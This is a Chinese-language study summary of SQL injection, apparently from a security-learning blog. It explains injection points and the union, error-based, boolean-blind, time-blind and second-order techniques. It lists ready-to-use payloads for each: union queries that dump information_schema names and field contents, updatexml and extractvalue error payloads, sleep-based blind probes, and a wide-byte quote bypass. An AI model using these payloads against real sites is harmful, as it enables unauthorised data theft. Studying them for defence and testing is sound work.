漏洞重溫之sql注入(總結)

2022-09-15 04:00:14 字數 3087 閱讀 6172

sql注入即是指web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程式中事先定義好的查詢語句的結尾上新增額外的sql語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙資料庫伺服器執行非授權的任意查詢,從而進一步得到相應的資料資訊。

一.網頁為了滿足正常使用者檢索所需內容,會使用**獲取使用者在網頁上的輸入,並且放入到資料庫中檢索這麼一系列的操作。所以在正常情況下,一般網頁的條件搜尋,是最容易出現sql注入的地方。

二.假設我們看到的是乙個****,每個商品的資料(,**,餘量)資訊不會被儲存到前端,而是放到資料庫中,利用id來區分每個不同的物體。所以,當我們點選商品的時候,就是**往資料庫進行請求的乙個過程,此處也可能存在sql注入。

三.當我們登入乙個**的時候,可以簡單來理解,我們登入的過程,其實就是系統將我們輸入的內容跟資料庫中原本的資料進行對比,也就是向資料庫發起請求的過程,此處也可能存在sql注入。

get型:get型請求的內容可以在url上看到,也就是說,get型可以直接在url裡構造語句攻擊。

post型:post型只能抓包看到,所以post型注入需要使用抓包工具配合。

get型注入可以在url中直接進行,也可以利用工具。而post型必須要利用工具,這點要分清。

聯合查詢:聯合查詢使用union拼接兩條不同的sql語句,因為顯示位置有限,所以需要在構造檢索語句前使前方檢索出錯。

聯合查詢只能在網頁有回顯位置的時候才可以使用,而我們需要先使用order by來判斷顯示位置有幾個,也就是select 1,2,3... 裡面的1,2,3的佔位符我們要寫幾個。判斷的原因是,如果佔位符寫的過多,會導致語句出錯。

報錯注入結尾,一般不使用注釋而是使用分號。

布林型盲注:布林型盲注是根據**執行成功或失敗的不同回顯來進行注入攻擊的,這裡需要乙個字元乙個字元進行判斷。當然也可以直接猜測整個字元來進行判斷,以此縮短時間。常用length函式判斷長短,substr函式判斷具體數值。

length函式用法:

length((database()))>1

substr函式用法:

substr((database()),1,1)='a'

substr函式相比較length函式,在第一層括號裡面多了乙個",1,1"的內容,這是函式用來分割的。簡單來說,因為資料庫名一般不為單字元,所以我們需要通過分割來乙個字元乙個字元的進行判斷。

時間型盲注:時間盲注是在布林型盲注無法使用的時候利用的,主要用於**執行成功或失敗返回結果相同或者不同無法被輕易察覺的時候。常利用if語句配合sleep函式來進行注入攻擊,執行語句內容和布林型盲注一致。

if語句語法:

if(條件,滿足條件執行,不滿足條件執行)

if語句在時間型盲注中的用法:

在條件位置,我們放入布林型盲注時用來判斷的語句,在滿足條件執行或者不滿足條件執行的任意位置,使用sleep函式,使執行成功或失敗的結果不同。

二階注入:二次注入是指對已存的資料庫內容被讀取後再次進入查詢語句之後產生的惡意sql語句稱之為二次注入。

判斷語句:

' and 1=1 --

' and 1=2 --

聯合查詢語句:

' order by 數字 -- //檢視顯示位置有幾個

' and 1=2 union select 1,version(),database() -- //檢視資料庫版本號和當前資料庫名

' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- //爆所有資料庫名

' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='資料庫名'),3 -- //爆指定資料庫的表名

' and 1=2 union select 1,(select group_concat(colunm_name) from information_schema.columns where table_name='表名'),3 -- //爆指定表的字段

' and 1=2 union select 1,(select group_concat(字段) from 資料庫名.表名),3 -- //爆指定字段

報錯注入語句:

updatexml(1,concat(0x7e,(執行語句),0x7e),1); //執行內容跟聯合查詢括號裡面的內容一致。

select count(*) from information_schema.tables group by concat((執行語句),0x7e,floor(rand(0) * 2));

extractvalue(1,concat(0x7e,(執行語句),0x7e));

布林型盲注語句:

' and length((select schema_name from information_schame.schemata limit 0,1))=1 -- //判斷第乙個資料庫名字長度 通過修改limit函式的第乙個數字,來指定第幾個資料庫名字長度的判斷。

' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='a' -- //判斷第乙個資料庫名的第乙個字母,通過修改limit函式的數字來指定資料庫,通過修改括號外面的數字來指定第幾個字。

時間型盲注語句:

' and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(3),1) -- //判斷第乙個資料庫名長度

過濾單引號:寬位元組注入繞過,簡單來說就是使用 "%df%27" 來代替單引號,因為%df會跟轉義單引號的**結合成乙個字元,使後面的%27也就是單引號逃逸。

繞過方式還有,以上三種是我在學習過程中遇到並且解決過的過濾方式。比較經典的繞過,比如過安全狗或者其他的內容,我會在嘗試過之後補充。

漏洞重溫之sql注入(七)

less 31 首先,進入31關,我們先新增上id引數。然後,我們檢視原始碼。我們門可以看到,index頁面原始碼其實很簡單,網頁也沒有對我們的輸入做防禦。所以這裡我們只需要使用 雙引號加括號閉合,然後再後面拼接sql語句就可以了。payload如下 至於login頁面,跟前面一關一樣,基於引數汙染...

SQL注入漏洞

sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...

SQL注入漏洞

sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...